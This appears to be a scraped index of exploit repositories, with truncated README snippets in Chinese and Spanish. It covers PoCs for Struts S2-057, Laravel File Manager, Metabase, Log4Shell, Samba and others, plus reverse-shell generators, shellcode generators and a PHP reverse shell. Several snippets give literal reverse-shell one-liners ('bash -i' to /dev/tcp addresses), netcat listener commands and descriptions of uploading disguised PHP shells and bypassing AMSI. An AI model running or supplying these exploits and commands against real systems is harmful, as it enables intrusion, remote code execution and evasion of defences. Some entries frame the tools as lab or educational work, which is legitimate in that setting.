CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 / S2-057 的实验环境 演示 运行服务器 $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 利用 $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

CVE-2024-21546

CVE-2024-21546 Python漏洞利用脚本 🔥 描述 该Python漏洞利用脚本针对由UniSharp 创建的存在漏洞的Laravel文件管理器，允许认证用户绕过文件限制并上传恶意文件。当上传的有效负载被触发时，可能导致远程代码执行RCE 。 该漏洞利用执行以下操作： 验证用户提供的laravelsession 通过正则表达式提取CSRF token 上传包含PHP反弹Shell有效负载的假PNG文件 触发上传的文件 ⚠️ 受影响版本 2.9.1及更早版本 ⚙️ 用法 python3 CVE-2024-21546.py 重要：在运行脚本之前启动你的监听器： nc -lvnp 💻...

SSCMS-PluginShell

安装VisualStudio 2. 导入该项目 3. 修改Startup.cs文件中的IPAddress.Parse值 using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System; using System.Text; using System.Net.Sockets; using...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC Este es un script escrito en Python que permite la explotación de la falla de seguridad del software Metabase descrita en CVE-2023-38646. El sistema es vulnerable en versiones anteriores a la 0.46.6.1 , en la edición de código abierto, y anteriores a la...

Girsh

Girsh Golang 交互式反向 Shell 谁没有厌倦过手动输入那几行代码来将反向 Shell 升级为完整的交互式反向 Shell（tty spawn、stty size ...、stty raw -echo）或者输入使用 ConPTY 的命令呢？ 描述 使用 Girsh，只需运行它，它就会检测操作系统并执行正确的命令，将其升级为完整的交互式反向 Shell。 对于 Linux： 获取终端大小 使用 python2.7、python3 和 python 生成 tty 将终端设置为 raw 模式 对于 Windows： 绕过 AMSI 并使用 ConPTY 生成交互式终端 监听以获取...

s2-062

s2-062 远程代码执行S2-062 CVE-2021-31805验证POC 验证方式 vulfocus靶场问题 poc里面是验证s2-061靶场的，参数为id，新靶场参数为name 判断是id主要是因为想不到windows和linux有什么好的通用命令回显判断特征 靶场应该是无回显的原因，所以看不到指令 不过可以反弹shell和dnslog探测 针对无回显的...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Procedemos haciendo clic en Add como se muestra en la imagen a continuación. Ahora creamos una reverse shell en bash como nuestro comando Miscellaneous !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 Y hacemos clic en Save Ahora navegamos a Configuration...

micr0_shell

micr0 shell Micr0shell 是一个轻量高效的 Python 脚本，用于动态生成 Windows X64 位置无关代码 PIC 免空字节反向 Shell shellcode。根据所选选项，生成的 shellcode 可比 msfvenom 生成的同类 shellcode 小 27 字节，同时避免包含 0x00 字节。此外，由于 MSF 的 shellcode 被广泛使用，更容易被基于签名的检测方法标记，因此 micr0shell 生成的 shellcode 提供了额外的规避能力。 └─ msfvenom -p windows/x64/shellreversetcp...

persisthunt

Detección de Persistencia, Búsqueda y Recopilación de Artefactos en Linux Resumen Uso Ejemplos de Detecciones Tabla de Técnicas Resumen persisthunt.sh ayuda a acelerar las investigaciones recolectando artefactos relacionados con persistencia específicos y destacando patrones sospechosos comúnment...

CVE-2020-15227

CVE-2020-15227 ¡DESCARGO DE RESPONSABILIDAD! No asumo ninguna responsabilidad por su uso en un entorno real, así que por favor NO lo hagas. Esta cosita es solo para demostrar y probar cosas para los administradores de sistemas. Hice este exploit según la publicación de un CVE de David Grudl el...

CVE-2017-7494

CVE-2017-7494 CVE-2017-7494 C poc 利用CVE-2017-7494反弹shell 1.首先编译sambainit.c，生成libsamba.so 2.修改isknownpipename.c中的相关地址，编译执行...

Demonstration-of-CVE-2023-38831-via-Reverse-Shell-Execution

CVE-2023-38831 反向Shell演示 此仓库包含一份PDF总结和基于实验室环境演示CVE-2023-38831的截图。该漏洞允许攻击者在压缩文件中嵌入并执行恶意载荷。在本例中，载荷触发一个反向shell。 内容包含： summaryreport.pdf：实验室过程的详细说明 /screenshots：步骤和结果的视觉验证 注意： 此仓库不 包含任何可执行代码或恶意软件。 所有操作均在隔离环境中出于教育目的执行。...

SNOWCRASH

SNOWCRASH 一个多语言有效载荷生成器 简介 SNOWCRASH 创建一个可在 Linux 和 Windows 机器上启动的脚本。用户选择的有效载荷（此处为 Bash 和 Powershell 组合代码）被嵌入到一个与平台无关的多语言模板中。 目前提供少数有效载荷，包括命令执行、反弹 Shell 建立、二进制文件执行等 : 基本用法 1. 安装依赖：./install.sh 2. 列出可用有效载荷：./snowcrash --list 3. 生成所选有效载荷：./snowcrash --payload memexec --out polyglotscript 4...

PoC-Deployer-System

PoC-Deployer-System English | 中文 基于 CVE-2024-31317 的 Zygote 注入工具制作的可视化工具，集成远程终端和文件传输。 Binder-CLI - 通过 binder 访问系统服务 截图 UID/GID 注入| 高级功能| 反向 Shell ---|---|--- | | 快速开始 环境要求 Android 9-13，安全补丁 2024.6 之前 已激活 Shizuku 特殊设备需关闭厂商限制（MIUI/ColorOS/OriginOS） 使用步骤 1. 安装 Shizuku 并激活 2. 安装应用，授予 Shizuku 权限 3...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus PoC de RCE Nombre del script PoC: poc.py Un script de explotación de prueba de concepto para CVE-2025-1302, que apunta a una vulnerabilidad de RCE en la librería jsonpath-plus. Cuando se ejecuta contra un endpoint de servicio vulnerable, el script intenta desencadenar ...

ColdFusion_EXp

CVE-2023-29298/CVE-2023-26360漏洞利用反弹工具 简介 漏洞原理是我们构建CFML数据客户端请求的数据会保存到服务器的coldfusion-out.log，这个目录会记录请求的错误的信息，coldfusion-out.log文件里面就有我们写入的代码了，然后我们使用classname读取执行这个日志文件达到代码执行的效果 这边我有一个思路，就是通过把恶意的class放到服务器上面，然后下载保存调用这个class文件，调用通过上面的这个漏洞他会去动态的加载类，去调用执行我们的class文件 这个写一个脚本，这个脚本会生成一个压缩包，这个压缩包里面 压缩包code目...

CVE-2021-44228

CVE-2021-44228 Prueba de concepto de Log4Shell CVE-2021-44228 Asegúrate de usar JDK 8 de Java. Descarga de Java 8 Imágenes Créditos Casey Dunham - Reverse Shell en Java kozmer - PoC inicial Legal El autor de este script NO se hace responsable de cómo se use este código. Fue creado únicamente con...

php-reverse-shell

PHP Reverse Shell Solo un pequeño repaso al popular script de shell inversa en PHP pentestmonkey/php-reverse-shell. ¡Créditos al autor original! Funciona en sistemas operativos Linux y macOS con /bin/sh y en sistemas operativos Windows con cmd.exe. El script detectará automáticamente el sistema...

CVE-2004-1561

CVE-2004-1561 Icecast 标头覆盖缓冲区溢出 RCE 更新 568-edit.c 成功使 原始 exploit 工作。根据 此内容 进行了编辑。 568-edit.c 的使用方法 root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.133 Icecast...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 和 CVE-2024-46257 是同一个 POC，只需更改 provider 参数。 注意 有时 nc 文件无法在服务器上执行，或者无法执行命令！ 安装依赖 pip install requests 运行漏洞利用 python3 POCCVE-2024-46256.py + 目标类型 IP/主机? i/h: i + 输入 IP 或主机: IP/HOST + 输入端口: PORT + 输入用户名: USERNAME + 输入密码: PASS + 获取到的令牌: 自动获取的令牌 + 发送载荷: curl...